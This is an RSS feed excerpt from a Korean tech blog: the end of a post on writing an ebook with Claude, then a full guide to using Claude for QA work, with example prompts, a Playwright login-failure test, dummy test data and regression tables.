&lt;p&gt;다음 주는 오늘 Claude와 나눈 &lt;strong&gt;5가지 답변&lt;/strong&gt;을 기반으로 &lt;strong&gt;책의 한 줄 요약·페르소나·약속(promise)&lt;/strong&gt; 을 단단히 잡습니다. 이 단계가 흔들리면 8주가 흔들리니, 가장 공들여 다룰 챕터입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 비개발자도 정말 따라할 수 있나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;가능합니다.&lt;/strong&gt; 본문은 모두 &lt;a href=&quot;https://claude.ai&quot;&gt;claude.ai&lt;/a&gt; 대화창 하나로 진행할 수 있게 구성됩니다. Claude Code·pandoc·자동화 스크립트는 &quot;있으면 더 편하다&quot; 정도이고, 부록·사이드바로 분리됩니다.&lt;/p&gt;
&lt;h3&gt;Q2. 책의 저작권은 누구 것인가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;전적으로 본인&lt;/strong&gt;입니다. Claude는 도구이고, 글의 결정은 모두 사람이 내립니다. 다만 출간 시 &quot;AI 도구 활용 명시&quot;를 권장합니다(8장에서 다룸).&lt;/p&gt;
&lt;h3&gt;Q3. 8주 안에 진짜 만들어지나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;8주가 끝나는 시점에 50p 전자책 PDF가 손에 쥐어집니다.&lt;/strong&gt; 이 시리즈가 그 증거가 될 예정입니다(제 경우).&lt;/p&gt;
&lt;h3&gt;Q4. 이미 다른 글을 쓰고 있는데, 그걸 책으로 바꿀 수 있나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;가능합니다.&lt;/strong&gt; 4장(자료 모으기)에서 기존 블로그·노트를 책 자료로 가져오는 워크플로우를 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 끝내시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;code class=&quot;language-text&quot;&gt;book/&lt;/code&gt; 폴더 만들기 (구조만, 비어 있어도 OK)&lt;/li&gt;
&lt;li&gt;✅ Claude와 5개 질문 대화 → 결과를 &lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt;에 붙여넣기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;다음 주 #2에서 그 결과를 가지고 &lt;strong&gt;책의 콘셉트를 단단히 잡는 작업&lt;/strong&gt;을 시작합니다.&lt;/p&gt;
&lt;p&gt;여러분이 만들고 싶은 책의 한 줄 요약은 무엇인가요? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 주 글에서 함께 다뤄볼 사례로 인용할 수도 있습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude로 QA 업무 자동화하기 — 테스트 케이스 생성부터 버그 분석까지]]></title><description><![CDATA[Claude로 QA 업무 자동화하기 — 테스트 케이스부터 버그 분석까지 실전 가이드 안녕하세요, 자바파커입니다. "QA 한 명이 일주일 동안 짜야 하는 테스트 케이스를, AI가 1시간 만에 초안을 만들어줍니다." 요즘 QA 팀에서 Claude…]]></description><link>https://blog.javapark.kr/qa-automation-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/qa-automation-guide/</guid><pubDate>Sat, 25 Apr 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-qa-automation-guide.png&quot; alt=&quot;Claude로 QA 업무 자동화하기 — 테스트 케이스부터 버그 분석까지 실전 가이드&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;QA 한 명이 일주일 동안 짜야 하는 테스트 케이스를, AI가 1시간 만에 초안을 만들어줍니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요즘 QA 팀에서 Claude를 도입하기 시작한 회사들이 늘고 있습니다. 솔직히 말하면, 처음에는 저도 반신반의했습니다. &quot;AI가 도메인 모르고 어떻게 테스트를 짜?&quot;라는 의심부터 들었으니까요.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Claude는 QA 업무의 70%를 차지하는 반복 작업(테스트 케이스 작성, 회귀 시나리오 정리, 테스트 데이터 생성)을 빠르게 줄여줍니다.&lt;/strong&gt; 단, 도메인 지식이나 사용자 시나리오는 여전히 사람이 채워야 합니다.&lt;/p&gt;
&lt;p&gt;오늘은 실제 QA 업무에서 Claude를 어떻게 써먹을 수 있는지, &lt;strong&gt;7가지 실전 활용법&lt;/strong&gt;으로 정리해드립니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA에서 Claude가 잘하는 일 vs 못하는 일&lt;/h2&gt;
&lt;p&gt;먼저 큰 그림부터 잡고 갑시다. 모든 작업에 Claude가 만능은 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;영역&lt;/th&gt;
&lt;th&gt;Claude가 잘함&lt;/th&gt;
&lt;th&gt;Claude가 약함&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;테스트 케이스 작성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;명세 기반 케이스 초안 양산&lt;/td&gt;
&lt;td&gt;도메인 특수 케이스, 숨겨진 엣지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;테스트 코드 작성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Playwright/Jest/Selenium 스크립트&lt;/td&gt;
&lt;td&gt;복잡한 인증/세션 흐름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;버그 리포트 분석&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;로그/스택트레이스 요약&lt;/td&gt;
&lt;td&gt;재현 불가 이슈의 근본 원인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;테스트 데이터 생성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;다양한 케이스의 더미 데이터&lt;/td&gt;
&lt;td&gt;실제 운영 데이터의 통계 분포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;회귀 테스트 시나리오&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;변경 영향도 기반 정리&lt;/td&gt;
&lt;td&gt;우선순위 판단(비즈니스 임팩트)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심 원칙은 이겁니다 — &lt;strong&gt;Claude는 &quot;초안 생성기&quot;로 쓰고, 검수와 도메인 보정은 사람이 한다.&lt;/strong&gt; 이 원칙만 지켜도 QA 생산성이 두 배 가까이 올라갑니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 1 — 명세 기반 테스트 케이스 자동 생성&lt;/h2&gt;
&lt;p&gt;가장 즉각적인 효과를 보는 영역입니다. PRD나 API 명세서를 던져주면 Claude가 테스트 케이스를 표 형태로 뽑아줍니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래 API 명세를 기준으로 테스트 케이스를 작성해주세요.
형식: 표 (TC ID, 시나리오, 사전 조건, 입력값, 예상 결과, 우선순위)

[API 명세]
POST /api/users/signup
- email (string, required, 이메일 형식)
- password (string, required, 8~32자, 영문/숫자/특수문자 포함)
- nickname (string, required, 2~16자)

성공: 201 Created, 사용자 ID 반환
실패: 400 (유효성), 409 (이메일 중복)

정상 케이스 / 경계값 / 예외 케이스를 나누어서 정리해주세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 던지면 보통 &lt;strong&gt;15~30개 케이스&lt;/strong&gt;가 한 번에 나옵니다. 경계값(8자 비밀번호, 32자 비밀번호, 7자/33자 등)이나 흔한 예외(공백 nickname, 특수문자 미포함 비밀번호)도 빠짐없이 챙깁니다.&lt;/p&gt;
&lt;h3&gt;한 단계 더 — Excel 형식으로 바로 변환&lt;/h3&gt;
&lt;p&gt;QA 도구가 엑셀 기반이라면 이렇게 추가 요청합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;위 케이스를 CSV 형식으로 변환해주세요. 헤더는 한글로 부탁드립니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;저장하면 바로 TestRail이나 Zephyr에 import 할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 2 — Playwright/Selenium 테스트 코드 작성&lt;/h2&gt;
&lt;p&gt;Claude Code 환경에서 특히 강력합니다. UI 시나리오를 자연어로 설명하면 Playwright 스크립트가 바로 나옵니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;다음 시나리오를 Playwright (TypeScript)로 작성해주세요.

1. https://example.com/login 접속
2. 이메일 input에 &quot;test@example.com&quot; 입력
3. 비밀번호 input에 &quot;wrong-password&quot; 입력
4. 로그인 버튼 클릭
5. &quot;.error-message&quot; 셀렉터에 &quot;비밀번호가 일치하지 않습니다&quot; 텍스트가 보이는지 확인
6. 5번 연속 실패 시 계정 잠금 메시지 노출 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;생성된 코드는 거의 바로 돌아갑니다. 특히 &lt;strong&gt;셀렉터 추적, 대기 시간 처리(&lt;code class=&quot;language-text&quot;&gt;waitForSelector&lt;/code&gt;), 에러 핸들링&lt;/strong&gt; 같은 기본기는 Claude가 알아서 챙깁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; expect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@playwright/test&quot;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;로그인 실패 시 에러 메시지 노출&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; page &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;goto&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://example.com/login&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fill&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;input[name=&quot;email&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;test@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fill&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;input[name=&quot;password&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wrong-password&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;button[type=&quot;submit&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.error-message&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toHaveText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;비밀번호가 일치하지 않습니다&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Tip — MCP Playwright 활용&lt;/h3&gt;
&lt;p&gt;Claude Code에서 &lt;strong&gt;MCP Playwright 서버&lt;/strong&gt;를 연결해두면 코드 작성 → 실제 브라우저 실행 → 결과 확인까지 한 번에 됩니다. UI 회귀 테스트가 필요한 팀이라면 도입 가치가 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 3 — 버그 리포트 분석 및 재현 단계 정리&lt;/h2&gt;
&lt;p&gt;QA 업무 중 의외로 시간을 많이 잡아먹는 게 &lt;strong&gt;버그 리포트 정리&lt;/strong&gt;입니다. 사용자가 보낸 너저분한 메시지를 개발자가 볼 수 있는 형태로 다듬어야 하니까요.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래 사용자 문의를 표준 버그 리포트 형식으로 정리해주세요.
형식: 제목 / 환경 / 재현 단계 / 기대 결과 / 실제 결과 / 우선순위 / 첨부

[사용자 문의]
&quot;안녕하세요 어제부터 결제가 안돼요... 카드 정보 넣고 결제 누르면 빙글빙글 돌다가 그냥 처음 화면으로 돌아가요. 갤럭시 S22 쓰고 있고 앱 최신 버전이에요. 어제 오후 3시쯤부터 그래요.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude가 정리해주는 결과는 거의 그대로 Jira에 붙여 넣을 수 있는 수준입니다. &lt;strong&gt;재현 단계 누락, 환경 정보 부족, 우선순위 미지정&lt;/strong&gt; 같은 흔한 문제를 알아서 보강합니다.&lt;/p&gt;
&lt;h3&gt;로그 분석에도 강력함&lt;/h3&gt;
&lt;p&gt;스택트레이스나 서버 로그를 통째로 던져주고 &quot;이 에러의 원인이 뭘까요?&quot;라고 물으면 가능성 있는 원인을 우선순위대로 정리해줍니다. 특히 처음 보는 라이브러리 에러를 빠르게 이해할 때 유용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 4 — 테스트 데이터 생성&lt;/h2&gt;
&lt;p&gt;회원가입 50건, 상품 등록 100건, 주문 200건처럼 &lt;strong&gt;다양한 패턴의 더미 데이터&lt;/strong&gt;가 필요할 때 Claude가 빠릅니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래 스키마에 맞는 회원 더미 데이터를 JSON 형식으로 30건 생성해주세요.
- 정상 데이터 20건, 경계값 5건, 예외 케이스 5건
- 한국 이름과 이메일을 사용해주세요

스키마:
{
  &quot;name&quot;: &quot;string (2~10자)&quot;,
  &quot;email&quot;: &quot;string (이메일 형식)&quot;,
  &quot;age&quot;: &quot;number (14~99)&quot;,
  &quot;phone&quot;: &quot;string (010-XXXX-XXXX)&quot;,
  &quot;address&quot;: &quot;string&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;김민준&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;minjun.kim@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ... &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이서연&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;seoyeon.lee@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ... &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;장점은 &lt;strong&gt;데이터의 다양성&lt;/strong&gt;입니다. Faker 같은 라이브러리는 무작위 생성이지만, Claude는 &quot;경계값 5건&quot;이라고 하면 의미 있는 경계값(최소/최대 나이, 짧은/긴 이름 등)을 의도적으로 만들어줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 5 — 회귀 테스트 시나리오 설계&lt;/h2&gt;
&lt;p&gt;코드 변경이 발생했을 때 **어디까지 다시 테스트해야 하나?**를 결정하는 건 QA의 핵심 역량입니다. Claude를 잘 쓰면 변경 영향도 분석을 빠르게 할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;다음 코드 변경 사항을 기준으로 회귀 테스트가 필요한 영역을 정리해주세요.
- 변경 코드: src/auth/login.ts (로그인 토큰 만료 시간 1시간 → 24시간)
- 영향 받을 가능성이 있는 모듈을 추론하고, 회귀 테스트 항목을 정리해주세요.
- 우선순위(상/중/하)를 함께 표기해주세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude가 잡아주는 영역은 보통 이런 식입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;영역&lt;/th&gt;
&lt;th&gt;회귀 테스트 항목&lt;/th&gt;
&lt;th&gt;우선순위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;인증&lt;/td&gt;
&lt;td&gt;토큰 만료 후 재로그인, 자동 로그아웃 동작&lt;/td&gt;
&lt;td&gt;상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;세션 관리&lt;/td&gt;
&lt;td&gt;다중 디바이스 로그인 시 토큰 처리&lt;/td&gt;
&lt;td&gt;상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보안&lt;/td&gt;
&lt;td&gt;만료 시간 늘어남에 따른 토큰 탈취 시나리오&lt;/td&gt;
&lt;td&gt;중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API&lt;/td&gt;
&lt;td&gt;토큰 검증 미들웨어가 있는 모든 엔드포인트&lt;/td&gt;
&lt;td&gt;상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;물론 도메인 지식이 있는 QA가 보강해야 하지만, &lt;strong&gt;시작점&lt;/strong&gt;으로는 훌륭합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 6 — 코드 리뷰(QA 관점)&lt;/h2&gt;
&lt;p&gt;QA가 코드 리뷰에 참여하는 팀이라면, 리뷰 시간을 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;아래 PR 코드를 QA 관점에서 리뷰해주세요. 다음 항목을 체크해주세요.
1. 입력 유효성 검증이 빠진 곳
2. 에러 처리가 누락된 곳
3. 로깅이 부족한 곳
4. 테스트 코드 커버리지 보강이 필요한 부분
5. 잠재적 보안 이슈

[PR 코드]
... (코드 첨부)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;특히 &lt;strong&gt;로깅 누락&lt;/strong&gt;과 &lt;strong&gt;에러 메시지 사용자 노출 여부&lt;/strong&gt;를 잘 잡습니다. QA는 사용자 경험 관점에서 보지만, 개발자는 기술 관점에서 보기 때문에 이 차이가 자주 놓쳐지거든요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;QA 활용법 7 — 테스트 결과 리포트 자동화&lt;/h2&gt;
&lt;p&gt;테스트 실행 결과를 정리해서 주간 리포트로 만드는 작업, 이거 의외로 시간 잡아먹습니다. Claude로 자동화할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;실전 프롬프트 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;다음 Playwright 테스트 결과 JSON을 분석해서 주간 QA 리포트를 작성해주세요.
- 전체 통과/실패 비율
- 주요 실패 원인 그룹화 (셀렉터 변경, API 응답 변경, 타임아웃 등)
- 다음 주 우선 점검 영역 추천

[결과 데이터]
... (JSON 첨부)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;매주 같은 형식의 리포트가 필요하다면, 이 프롬프트를 &lt;strong&gt;Claude Code Skill&lt;/strong&gt;로 만들어두면 명령어 한 번으로 리포트가 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전에서 주의해야 할 3가지&lt;/h2&gt;
&lt;p&gt;Claude를 QA에 도입할 때 빠지기 쉬운 함정도 정리해둡니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 명세를 그대로 믿지 말기&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude는 명세에 적힌 그대로 케이스를 만듭니다. &lt;strong&gt;&quot;명세에 없지만 사용자가 할 만한 행동&quot;&lt;/strong&gt;(예: 폼 입력 중 뒤로가기, 더블 클릭, 네트워크 끊김)은 사람이 추가해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 도메인 데이터로 검증하기&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;생성된 더미 데이터를 그대로 운영 환경에 가까운 테스트에 쓰면 위험합니다. 통계 분포(예: 결제 금액의 80%가 1만원 미만)는 실제 데이터로 보정하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 보안 테스트는 직접 학습한 사람이 해야&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude가 OWASP Top 10 기반 케이스는 만들어주지만, &lt;strong&gt;실제 침투 테스트나 0-day 발견&lt;/strong&gt;은 보안 전문가의 영역입니다. AI에 맡기지 마세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. QA 신입에게도 Claude 도입을 추천하시나요?&lt;/strong&gt;
네, 오히려 신입에게 더 추천합니다. 시니어 QA의 사고 흐름을 빠르게 익힐 수 있는 도구가 됩니다. 단, &lt;strong&gt;Claude가 만든 케이스를 무조건 믿지 말고 검토하는 습관&lt;/strong&gt;을 처음부터 들여야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 어떤 모델을 쓰는 게 좋을까요?&lt;/strong&gt;
복잡한 케이스 분석은 &lt;strong&gt;Opus&lt;/strong&gt;, 빠른 더미 데이터 생성이나 단순 변환은 &lt;strong&gt;Haiku&lt;/strong&gt;를 권합니다. 비용/속도 균형은 &lt;strong&gt;Sonnet&lt;/strong&gt;이 좋습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 회사 코드를 Claude에 그대로 넣어도 되나요?&lt;/strong&gt;
보안 정책 확인이 우선입니다. 민감한 코드라면 &lt;strong&gt;Claude for Enterprise&lt;/strong&gt;(데이터 학습 미사용 보장)나 &lt;strong&gt;AWS Bedrock의 Claude&lt;/strong&gt;를 검토하세요. 개인 프로젝트는 일반 Claude로 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — Claude는 QA를 &quot;줄이지&quot; 않고 &quot;옮긴다&quot;&lt;/h2&gt;
&lt;p&gt;Claude를 도입한다고 QA 인력이 줄어드는 게 아닙니다. &lt;strong&gt;반복 작업이 줄어드는 만큼, 본질적인 QA 업무(사용자 시나리오 설계, 비즈니스 임팩트 평가, 도메인 특화 테스트)에 더 집중할 수 있게 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저도 Claude 도입 전에는 테스트 케이스 작성에 일주일을 쓰고 정작 시나리오 검증에 이틀을 썼는데, 지금은 그 비중이 완전히 뒤집혔습니다. AI가 단순 작업을 가져가고, 사람은 판단에 집중하는 구조 — 이게 가장 건강한 QA 자동화 방향이라고 생각합니다.&lt;/p&gt;
